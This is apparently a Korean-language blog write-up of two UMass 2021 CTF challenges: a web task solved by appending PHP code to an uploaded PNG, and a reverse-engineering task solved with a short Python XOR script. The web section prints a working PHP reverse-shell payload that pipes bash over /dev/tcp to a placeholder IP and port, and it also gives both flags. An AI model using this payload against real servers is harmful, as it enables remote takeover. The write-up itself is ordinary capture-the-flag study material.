[UMass 2021 CTF] write up
글 작성자: Universe7202
[WEB - "Hermit - Part 1"]
위 문제 링크에 접속하면 이미지를 업로드 하는 페이지가 나온다.
아래 사진 처럼 이미지를 업로드 하면 png의 hex값과 함께 이미지가 출력된다.
업로드할 이미지 맨 마지막에 간단한 php 코드를 작성한뒤 업로드 하면 php 코드가 동작하는 것을 볼 수 있다.
이를 이용하여 reverse shell 공격을 시도 했다. payload는 다음과 같다.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/'Your IP'/'Your Port' 0>&1'");?>
위 payload를 업로드 할 이미지 맨 밑에 넣는다.
서버에 reverse shell로 부터 응답을 받기 위해 아래와 같이 연결을 Listening 한다.
위에서 작성한 payload를 포함한 이미지를 업로드 한 후, 이미지 보기를 하면 reverse shell이 연결된다.
flag를 찾기 위해 flag 포맷인 "UMASS{" 문자열을 찾아보았다.
아래 사진을 보면 /home/hermit/ 폴더안에 flag 파일이 존재하는 것을 볼 수 있다.
`UMASS{a_picture_paints_a_thousand_shells}`
[REV - easteregg]
위 문제 파일을 실행하면 아래처럼 뭔가 게임 느낌의 파일이다.
IDA로 문제 파일을 분석을 해봤는데, 게임을 클리어(?) 하면 35글자를 반복문으로 XOR연산해서 출력하는 것을 볼 수 있었다.
각각 XOR하는 변수의 값을 가져와 python으로 XOR 연산을 수행해서 flag를 획득 할 수 있었다.
a = "12 18 08 0a 10 37 37 66 28 17 78 60 67 29 18 26 07 2b 37 28 0b 35 76 37 20 11 2f 37 24 64 37 2a 7a 3e 35".split(" ")
b = "G U I Y C L Z V E H I P W B G O X H V F T G E V D N N D W W Z H K G H".split(" ")
for i in range(len(a)):
print(chr(int(a[i], 16) ^ ord(b[i])) ,end="")
`UMASS{m0m_100k_i_can_r3ad_ass3mb1y}`
'🚩CTF' 카테고리의 다른 글
hayyim CTF 2022 writeup (0) | 2022.02.13 |
---|---|
HTML Viewer writeup (0) | 2022.02.04 |
[DamCTF 2020] write up (1) | 2020.10.12 |
[b01lers 2020 CTF] write up (0) | 2020.10.07 |
[DreamhackCTF 2020] validator write up (3) | 2020.09.29 |
댓글
이 글 공유하기
다른 글
-
hayyim CTF 2022 writeup
hayyim CTF 2022 writeup
2022.02.13 -
HTML Viewer writeup
HTML Viewer writeup
2022.02.04 -
[DamCTF 2020] write up
[DamCTF 2020] write up
2020.10.12 -
[b01lers 2020 CTF] write up
[b01lers 2020 CTF] write up
2020.10.07